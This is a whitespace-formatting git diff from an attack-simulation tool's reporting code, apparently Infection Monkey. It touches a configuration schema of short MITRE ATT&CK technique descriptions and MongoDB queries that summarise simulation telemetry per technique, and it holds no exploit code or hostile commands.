"description":"Exploitation of a software vulnerability occurs when an " - "adversary " - "takes advantage of a programming error in a program, service, " - "or within the " - "operating system software or kernel itself to execute " - "adversary-controlled code.", - }, - "T1075":{ - "title":"Pass the hash", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1075", - "description":"Pass the hash (PtH) is a method of authenticating as a user " - "without " - "having access to the user's cleartext password.", - }, - "T1105":{ - "title":"Remote file copy", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1105", - "description":"Files may be copied from one system to another to stage " - "adversary tools or other files over the course of an operation.", - }, - "T1021":{ - "title":"Remote services", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1021", - "depends_on":["T1110"], - "description":"An adversary may use Valid Accounts to log into a service" - " specifically designed to accept remote connections.", + "lateral_movement": { + "title": "Lateral movement", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0008/", + "properties": { + "T1210": { + "title": "Exploitation of Remote services", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1210", + "description": "Exploitation of a software vulnerability occurs when an " + "adversary " + "takes advantage of a programming error in a program, service, " + "or within the " + "operating system software or kernel itself to execute " + "adversary-controlled code.", + }, + "T1075": { + "title": "Pass the hash", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1075", + "description": "Pass the hash (PtH) is a method of authenticating as a user " + "without " + "having access to the user's cleartext password.", + }, + "T1105": { + "title": "Remote file copy", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1105", + "description": "Files may be copied from one system to another to stage " + "adversary tools or other files over the course of an operation.", + }, + "T1021": { + "title": "Remote services", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1021", + "depends_on": ["T1110"], + "description": "An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections.", }, }, }, - "collection":{ - "title":"Collection", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0009/", - "properties":{ - "T1005":{ - "title":"Data from local system", - "type":"bool", - "value":True, - "necessary":False, - "link":"https://attack.mitre.org/techniques/T1005", - "depends_on":["T1016", "T1082"], - "description":"Sensitive data can be collected from local system sources, " - "such as the file system " - "or databases of information residing on the system prior to " - "Exfiltration.", + "collection": { + "title": "Collection", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0009/", + "properties": { + "T1005": { + "title": "Data from local system", + "type": "bool", + "value": True, + "necessary": False, + "link": "https://attack.mitre.org/techniques/T1005", + "depends_on": ["T1016", "T1082"], + "description": "Sensitive data can be collected from local system sources, " + "such as the file system " + "or databases of information residing on the system prior to " + "Exfiltration.", } }, }, - "command_and_control":{ - "title":"Command and Control", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0011/", - "properties":{ - "T1090":{ - "title":"Connection proxy", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1090", - "description":"A connection proxy is used to direct network traffic between " - "systems " - "or act as an intermediary for network communications.", - }, - "T1065":{ - "title":"Uncommonly used port", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1065", - "description":"Adversaries may conduct C2 communications over a non-standard " - "port to bypass proxies and firewalls that have been improperly " - "configured.", - }, - "T1188":{ - "title":"Multi-hop proxy", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1188", - "description":"To disguise the source of malicious traffic, " - "adversaries may chain together multiple proxies.", + "command_and_control": { + "title": "Command and Control", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0011/", + "properties": { + "T1090": { + "title": "Connection proxy", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1090", + "description": "A connection proxy is used to direct network traffic between " + "systems " + "or act as an intermediary for network communications.", + }, + "T1065": { + "title": "Uncommonly used port", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1065", + "description": "Adversaries may conduct C2 communications over a non-standard " + "port to bypass proxies and firewalls that have been improperly " + "configured.", + }, + "T1188": { + "title": "Multi-hop proxy", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1188", + "description": "To disguise the source of malicious traffic, " + "adversaries may chain together multiple proxies.", }, }, }, - "exfiltration":{ - "title":"Exfiltration", - "type":"object", - "link":"https://attack.mitre.org/tactics/TA0010/", - "properties":{ - "T1041":{ - "title":"Exfiltration Over Command and Control Channel", - "type":"bool", - "value":True, - "necessary":True, - "link":"https://attack.mitre.org/techniques/T1041", - "description":"Data exfiltration is performed over the Command and Control " - "channel.", + "exfiltration": { + "title": "Exfiltration", + "type": "object", + "link": "https://attack.mitre.org/tactics/TA0010/", + "properties": { + "T1041": { + "title": "Exfiltration Over Command and Control Channel", + "type": "bool", + "value": True, + "necessary": True, + "link": "https://attack.mitre.org/techniques/T1041", + "description": "Data exfiltration is performed over the Command and Control " + "channel.", } }, }, diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py index 75412cd23c3..1a302523327 100644 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -11,7 +11,7 @@ def get_all_mitigations() -> Dict[str, CourseOfAction]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) mitigation_filter = [Filter("type", "=", "course-of-action")] all_mitigations = file_system.query(mitigation_filter) - all_mitigations = {mitigation["id"]:mitigation for mitigation in all_mitigations} + all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations} return all_mitigations @staticmethod @@ -19,7 +19,7 @@ def get_all_attack_techniques() -> Dict[str, AttackPattern]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) technique_filter = [Filter("type", "=", "attack-pattern")] all_techniques = file_system.query(technique_filter) - all_techniques = {technique["id"]:technique for technique in all_techniques} + all_techniques = {technique["id"]: technique for technique in all_techniques} return all_techniques @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index bcd4808e5fa..27a4b55dbdf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -16,19 +16,19 @@ class T1003(AttackTechnique): used_msg = "Monkey successfully obtained some credentials from systems on the network." query = { - "$or":[ + "$or": [ { - "telem_category":"system_info", - "$and":[ - {"data.credentials":{"$exists":True}}, - {"data.credentials":{"$gt":{}}}, + "telem_category": "system_info", + "$and": [ + {"data.credentials": {"$exists": True}}, + {"data.credentials": {"$gt": {}}}, ], }, # $gt: {} checks if field is not an empty object { - "telem_category":"exploit", - "$and":[ - {"data.info.credentials":{"$exists":True}}, - {"data.info.credentials":{"$gt":{}}}, + "telem_category": "exploit", + "$and": [ + {"data.info.credentials": {"$exists": True}}, + {"data.info.credentials": {"$gt": {}}}, ], }, ] @@ -44,7 +44,7 @@ def get_technique_status_and_data(): status = ScanStatus.UNSCANNED.value return (status, []) - data = {"title":T1003.technique_title()} + data = {"title": T1003.technique_title()} status, _ = get_technique_status_and_data() data.update(T1003.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index 74cfb6ac646..83d4bc3b6d3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -11,44 +11,44 @@ class T1005(AttackTechnique): used_msg = "Monkey successfully gathered sensitive data from local system." query = [ - {"$match":{"telem_category":"attack", "data.technique":tech_id}}, + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, { - "$lookup":{ - "from":"monkey", - "localField":"monkey_guid", - "foreignField":"guid", - "as":"monkey", + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", } }, { - "$project":{ - "monkey":{"$arrayElemAt":["$monkey", 0]}, - "status":"$data.status", - "gathered_data_type":"$data.gathered_data_type", - "info":"$data.info", + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "gathered_data_type": "$data.gathered_data_type", + "info": "$data.info", } }, { - "$addFields":{ - "_id":0, - "machine":{"hostname":"$monkey.hostname", "ips":"$monkey.ip_addresses"}, - "monkey":0, + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, } }, { - "$group":{ - "_id":{ - "machine":"$machine", - "gathered_data_type":"$gathered_data_type", - "info":"$info", + "$group": { + "_id": { + "machine": "$machine", + "gathered_data_type": "$gathered_data_type", + "info": "$info", } } }, - {"$replaceRoot":{"newRoot":"$_id"}}, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod def get_report_data(): data = T1005.get_tech_base_data() - data.update({"collected_data":list(mongo.db.telemetry.aggregate(T1005.query))}) + data.update({"collected_data": list(mongo.db.telemetry.aggregate(T1005.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 627878f9101..594c593d52f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -12,31 +12,31 @@ class T1016(AttackTechnique): used_msg = "Monkey gathered network configurations on systems in the network." query = [ - {"$match":{"telem_category":"system_info", "data.network_info":{"$exists":True}}}, + {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, { - "$project":{ - "machine":{"hostname":"$data.hostname", "ips":"$data.network_info.networks"}, - "networks":"$data.network_info.networks", - "netstat":"$data.network_info.netstat", + "$project": { + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "networks": "$data.network_info.networks", + "netstat": "$data.network_info.netstat", } }, { - "$addFields":{ - "_id":0, - "netstat":0, - "networks":0, - "info":[ + "$addFields": { + "_id": 0, + "netstat": 0, + "networks": 0, + "info": [ { - "used":{ - "$and":[{"$ifNull":["$netstat", False]}, {"$gt":["$netstat", {}]}] + "used": { + "$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$netstat", {}]}] }, - "name":{"$literal":"Network connections (netstat)"}, + "name": {"$literal": "Network connections (netstat)"}, }, { - "used":{ - "$and":[{"$ifNull":["$networks", False]}, {"$gt":["$networks", {}]}] + "used": { + "$and": [{"$ifNull": ["$networks", False]}, {"$gt": ["$networks", {}]}] }, - "name":{"$literal":"Network interface info"}, + "name": {"$literal": "Network interface info"}, }, ], } @@ -54,5 +54,5 @@ def get_technique_status_and_data(): status, network_info = get_technique_status_and_data() data = T1016.get_base_data_by_status(status) - data.update({"network_info":network_info}) + data.update({"network_info": network_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py index c4605542ed8..500a1a32566 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -12,29 +12,29 @@ class T1018(AttackTechnique): used_msg = "Monkey found machines on the network." query = [ - {"$match":{"telem_category":"scan"}}, - {"$sort":{"timestamp":1}}, + {"$match": {"telem_category": "scan"}}, + {"$sort": {"timestamp": 1}}, { - "$group":{ - "_id":{"monkey_guid":"$monkey_guid"}, - "machines":{"$addToSet":"$data.machine"}, - "started":{"$first":"$timestamp"}, - "finished":{"$last":"$timestamp"}, + "$group": { + "_id": {"monkey_guid": "$monkey_guid"}, + "machines": {"$addToSet": "$data.machine"}, + "started": {"$first": "$timestamp"}, + "finished": {"$last": "$timestamp"}, } }, { - "$lookup":{ - "from":"monkey", - "localField":"_id.monkey_guid", - "foreignField":"guid", - "as":"monkey_tmp", + "$lookup": { + "from": "monkey", + "localField": "_id.monkey_guid", + "foreignField": "guid", + "as": "monkey_tmp", } }, - {"$addFields":{"_id":0, "monkey_tmp":{"$arrayElemAt":["$monkey_tmp", 0]}}}, + {"$addFields": {"_id": 0, "monkey_tmp": {"$arrayElemAt": ["$monkey_tmp", 0]}}}, { - "$addFields":{ - "monkey":{"hostname":"$monkey_tmp.hostname", "ips":"$monkey_tmp.ip_addresses"}, - "monkey_tmp":0, + "$addFields": { + "monkey": {"hostname": "$monkey_tmp.hostname", "ips": "$monkey_tmp.ip_addresses"}, + "monkey_tmp": 0, } }, ] @@ -53,5 +53,5 @@ def get_technique_status_and_data(): status, scan_info = get_technique_status_and_data() data = T1018.get_base_data_by_status(status) - data.update({"scan_info":scan_info}) + data.update({"scan_info": scan_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 5e13ba6de8a..9fe32b4d54b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -14,25 +14,25 @@ class T1021(AttackTechnique): # Gets data about brute force attempts query = [ - {"$match":{"telem_category":"exploit", "data.attempts":{"$not":{"$size":0}}}}, + {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, { - "$project":{ - "_id":0, - "machine":"$data.machine", - "info":"$data.info", - "attempt_cnt":{"$size":"$data.attempts"}, - "attempts":{ - "$filter":{ - "input":"$data.attempts", - "as":"attempt", - "cond":{"$eq":["$$attempt.result", True]}, + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, } }, } }, ] - scanned_query = {"telem_category":"exploit", "data.attempts":{"$elemMatch":{"result":True}}} + scanned_query = {"telem_category": "exploit", "data.attempts": {"$elemMatch": {"result": True}}} @staticmethod def get_report_data(): @@ -56,5 +56,5 @@ def get_technique_status_and_data(): status, attempts = get_technique_status_and_data() data = T1021.get_base_data_by_status(status) - data.update({"services":attempts}) + data.update({"services": attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index 38c27a47ef3..d13e5532540 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -15,5 +15,5 @@ class T1035(UsageTechnique): @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({"services":T1035.get_usage_data()}) + data.update({"services": T1035.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index d026c618ace..262c1820422 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -18,8 +18,8 @@ def get_technique_status_and_data(): monkeys = list(Monkey.objects()) info = [ { - "src":monkey["command_control_channel"]["src"], - "dst":monkey["command_control_channel"]["dst"], + "src": monkey["command_control_channel"]["src"], + "dst": monkey["command_control_channel"]["dst"], } for monkey in monkeys if monkey["command_control_channel"] @@ -33,5 +33,5 @@ def get_technique_status_and_data(): status, info = get_technique_status_and_data() data = T1041.get_base_data_by_status(status) - data.update({"command_control_channel":info}) + data.update({"command_control_channel": info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 889897f7ca1..dc97ef85b91 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -13,16 +13,16 @@ class T1059(AttackTechnique): query = [ { - "$match":{ - "telem_category":"exploit", - "data.info.executed_cmds":{"$exists":True, "$ne":[]}, + "$match": { + "telem_category": "exploit", + "data.info.executed_cmds": {"$exists": True, "$ne": []}, } }, - {"$unwind":"$data.info.executed_cmds"}, - {"$sort":{"data.info.executed_cmds.powershell":1}}, - {"$project":{"_id":0, "machine":"$data.machine", "info":"$data.info"}}, - {"$group":{"_id":"$machine", "data":{"$push":"$$ROOT"}}}, - {"$project":{"_id":0, "data":{"$arrayElemAt":["$data", 0]}}}, + {"$unwind": "$data.info.executed_cmds"}, + {"$sort": {"data.info.executed_cmds.powershell": 1}}, + {"$project": {"_id": 0, "machine": "$data.machine", "info": "$data.info"}}, + {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, + {"$project": {"_id": 0, "data": {"$arrayElemAt": ["$data", 0]}}}, ] @staticmethod @@ -37,7 +37,7 @@ def get_technique_status_and_data(): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {"title":T1059.technique_title(), "cmds":cmd_data} + data = {"title": T1059.technique_title(), "cmds": cmd_data} data.update(T1059.get_message_and_status(status)) data.update(T1059.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 4e048e3c4a0..1ca2ba62e77 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -14,5 +14,5 @@ class T1064(UsageTechnique): def get_report_data(): data = T1064.get_tech_base_data() script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) - data.update({"scripts":script_usages}) + data.update({"scripts": script_usages}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index e0e2f0f7787..36c409531b9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -14,38 +14,38 @@ class T1075(AttackTechnique): used_msg = "Monkey successfully used hashed credentials." login_attempt_query = { - "data.attempts":{ - "$elemMatch":{"$or":[{"ntlm_hash":{"$ne":""}}, {"lm_hash":{"$ne":""}}]} + "data.attempts": { + "$elemMatch": {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]} } } # Gets data about successful PTH logins query = [ { - "$match":{ - "telem_category":"exploit", - "data.attempts":{ - "$not":{"$size":0}, - "$elemMatch":{ - "$and":[ - {"$or":[{"ntlm_hash":{"$ne":""}}, {"lm_hash":{"$ne":""}}]}, - {"result":True}, + "$match": { + "telem_category": "exploit", + "data.attempts": { + "$not": {"$size": 0}, + "$elemMatch": { + "$and": [ + {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]}, + {"result": True}, ] }, }, } }, { - "$project":{ - "_id":0, - "machine":"$data.machine", - "info":"$data.info", - "attempt_cnt":{"$size":"$data.attempts"}, - "attempts":{ - "$filter":{ - "input":"$data.attempts", - "as":"attempt", - "cond":{"$eq":["$$attempt.result", True]}, + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, } }, } @@ -66,8 +66,8 @@ def get_technique_status_and_data(): return (status, successful_logins) status, successful_logins = get_technique_status_and_data() - data = {"title":T1075.technique_title()} - data.update({"successful_logins":successful_logins}) + data = {"title": T1075.technique_title()} + data.update({"successful_logins": successful_logins}) data.update(T1075.get_message_and_status(status)) data.update(T1075.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 64e154797e6..7025a658ce4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -12,61 +12,61 @@ class T1082(AttackTechnique): used_msg = "Monkey gathered system info from machines in the network." query = [ - {"$match":{"telem_category":"system_info", "data.network_info":{"$exists":True}}}, + {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, { - "$project":{ - "machine":{"hostname":"$data.hostname", "ips":"$data.network_info.networks"}, - "aws":"$data.aws", - "netstat":"$data.network_info.netstat", - "process_list":"$data.process_list", - "ssh_info":"$data.ssh_info", - "azure_info":"$data.Azure", + "$project": { + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "aws": "$data.aws", + "netstat": "$data.network_info.netstat", + "process_list": "$data.process_list", + "ssh_info": "$data.ssh_info", + "azure_info": "$data.Azure", } }, { - "$project":{ - "_id":0, - "machine":1, - "collections":[ + "$project": { + "_id": 0, + "machine": 1, + "collections": [ { - "used":{"$and":[{"$ifNull":["$netstat", False]}, {"$gt":["$aws", {}]}]}, - "name":{"$literal":"Amazon Web Services info"}, + "used": {"$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$aws", {}]}]}, + "name": {"$literal": "Amazon Web Services info"}, }, { - "used":{ - "$and":[ - {"$ifNull":["$process_list", False]}, - {"$gt":["$process_list", {}]}, + "used": { + "$and": [ + {"$ifNull": ["$process_list", False]}, + {"$gt": ["$process_list", {}]}, ] }, - "name":{"$literal":"Running process list"}, + "name": {"$literal": "Running process list"}, }, { - "used":{ - "$and":[{"$ifNull":["$netstat", False]}, {"$ne":["$netstat", []]}] + "used": { + "$and": [{"$ifNull": ["$netstat", False]}, {"$ne": ["$netstat", []]}] }, - "name":{"$literal":"Network connections"}, + "name": {"$literal": "Network connections"}, }, { - "used":{ - "$and":[{"$ifNull":["$ssh_info", False]}, {"$ne":["$ssh_info", []]}] + "used": { + "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}] }, - "name":{"$literal":"SSH info"}, + "name": {"$literal": "SSH info"}, }, { - "used":{ - "$and":[ - {"$ifNull":["$azure_info", False]}, - {"$ne":["$azure_info", []]}, + "used": { + "$and": [ + {"$ifNull": ["$azure_info", False]}, + {"$ne": ["$azure_info", []]}, ] }, - "name":{"$literal":"Azure info"}, + "name": {"$literal": "Azure info"}, }, ], } }, - {"$group":{"_id":{"machine":"$machine", "collections":"$collections"}}}, - {"$replaceRoot":{"newRoot":"$_id"}}, + {"$group": {"_id": {"machine": "$machine", "collections": "$collections"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod @@ -81,8 +81,8 @@ def get_technique_status_and_data(): return (status, system_info) status, system_info = get_technique_status_and_data() - data = {"title":T1082.technique_title()} - data.update({"system_info":system_info}) + data = {"title": T1082.technique_title()} + data.update({"system_info": system_info}) data.update(T1082.get_mitigation_by_status(status)) data.update(T1082.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 439aa6d2a8f..d034d531601 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -13,27 +13,27 @@ class T1086(AttackTechnique): query = [ { - "$match":{ - "telem_category":"exploit", - "data.info.executed_cmds":{"$elemMatch":{"powershell":True}}, + "$match": { + "telem_category": "exploit", + "data.info.executed_cmds": {"$elemMatch": {"powershell": True}}, } }, - {"$project":{"machine":"$data.machine", "info":"$data.info"}}, + {"$project": {"machine": "$data.machine", "info": "$data.info"}}, { - "$project":{ - "_id":0, - "machine":1, - "info.finished":1, - "info.executed_cmds":{ - "$filter":{ - "input":"$info.executed_cmds", - "as":"command", - "cond":{"$eq":["$$command.powershell", True]}, + "$project": { + "_id": 0, + "machine": 1, + "info.finished": 1, + "info.executed_cmds": { + "$filter": { + "input": "$info.executed_cmds", + "as": "command", + "cond": {"$eq": ["$$command.powershell", True]}, } }, } }, - {"$group":{"_id":"$machine", "data":{"$push":"$$ROOT"}}}, + {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, ] @staticmethod @@ -48,7 +48,7 @@ def get_technique_status_and_data(): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {"title":T1086.technique_title(), "cmds":cmd_data} + data = {"title": T1086.technique_title(), "cmds": cmd_data} data.update(T1086.get_mitigation_by_status(status)) data.update(T1086.get_message_and_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index ea5fef31871..66078e0d073 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -23,5 +23,5 @@ def get_technique_status_and_data(): status, monkeys = get_technique_status_and_data() data = T1090.get_base_data_by_status(status) - data.update({"proxies":monkeys}) + data.update({"proxies": monkeys}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 2a5624d11f9..edcca2c2df9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -11,21 +11,21 @@ class T1105(AttackTechnique): used_msg = "Monkey successfully copied files to systems on the network." query = [ - {"$match":{"telem_category":"attack", "data.technique":tech_id}}, + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, { - "$project":{ - "_id":0, - "src":"$data.src", - "dst":"$data.dst", - "filename":"$data.filename", + "$project": { + "_id": 0, + "src": "$data.src", + "dst": "$data.dst", + "filename": "$data.filename", } }, - {"$group":{"_id":{"src":"$src", "dst":"$dst", "filename":"$filename"}}}, - {"$replaceRoot":{"newRoot":"$_id"}}, + {"$group": {"_id": {"src": "$src", "dst": "$dst", "filename": "$filename"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod def get_report_data(): data = T1105.get_tech_base_data() - data.update({"files":list(mongo.db.telemetry.aggregate(T1105.query))}) + data.update({"files": list(mongo.db.telemetry.aggregate(T1105.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index 52708a76c2e..0dfc749cc66 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -12,5 +12,5 @@ class T1106(UsageTechnique): @staticmethod def get_report_data(): data = T1106.get_tech_base_data() - data.update({"api_uses":T1106.get_usage_data()}) + data.update({"api_uses": T1106.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py index 83cf6cccb89..18f3a047ba7 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -11,35 +11,35 @@ class T1107(AttackTechnique): used_msg = "Monkey successfully deleted files on systems in the network." query = [ - {"$match":{"telem_category":"attack", "data.technique":"T1107"}}, + {"$match": {"telem_category": "attack", "data.technique": "T1107"}}, { - "$lookup":{ - "from":"monkey", - "localField":"monkey_guid", - "foreignField":"guid", - "as":"monkey", + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", } }, { - "$project":{ - "monkey":{"$arrayElemAt":["$monkey", 0]}, - "status":"$data.status", - "path":"$data.path", + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "path": "$data.path", } }, { - "$addFields":{ - "_id":0, - "machine":{"hostname":"$monkey.hostname", "ips":"$monkey.ip_addresses"}, - "monkey":0, + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, } }, - {"$group":{"_id":{"machine":"$machine", "status":"$status", "path":"$path"}}}, + {"$group": {"_id": {"machine": "$machine", "status": "$status", "path": "$path"}}}, ] @staticmethod def get_report_data(): data = T1107.get_tech_base_data() deleted_files = list(mongo.db.telemetry.aggregate(T1107.query)) - data.update({"deleted_files":deleted_files}) + data.update({"deleted_files": deleted_files}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index cbdf7b68391..118371ac592 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -14,18 +14,18 @@ class T1110(AttackTechnique): # Gets data about brute force attempts query = [ - {"$match":{"telem_category":"exploit", "data.attempts":{"$not":{"$size":0}}}}, + {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, { - "$project":{ - "_id":0, - "machine":"$data.machine", - "info":"$data.info", - "attempt_cnt":{"$size":"$data.attempts"}, - "attempts":{ - "$filter":{ - "input":"$data.attempts", - "as":"attempt", - "cond":{"$eq":["$$attempt.result", True]}, + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, } }, } @@ -59,5 +59,5 @@ def get_technique_status_and_data(): # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt["attempts"]] - data.update({"services":attempts}) + data.update({"services": attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index 136a55a4eb9..e0d079d7e9a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ 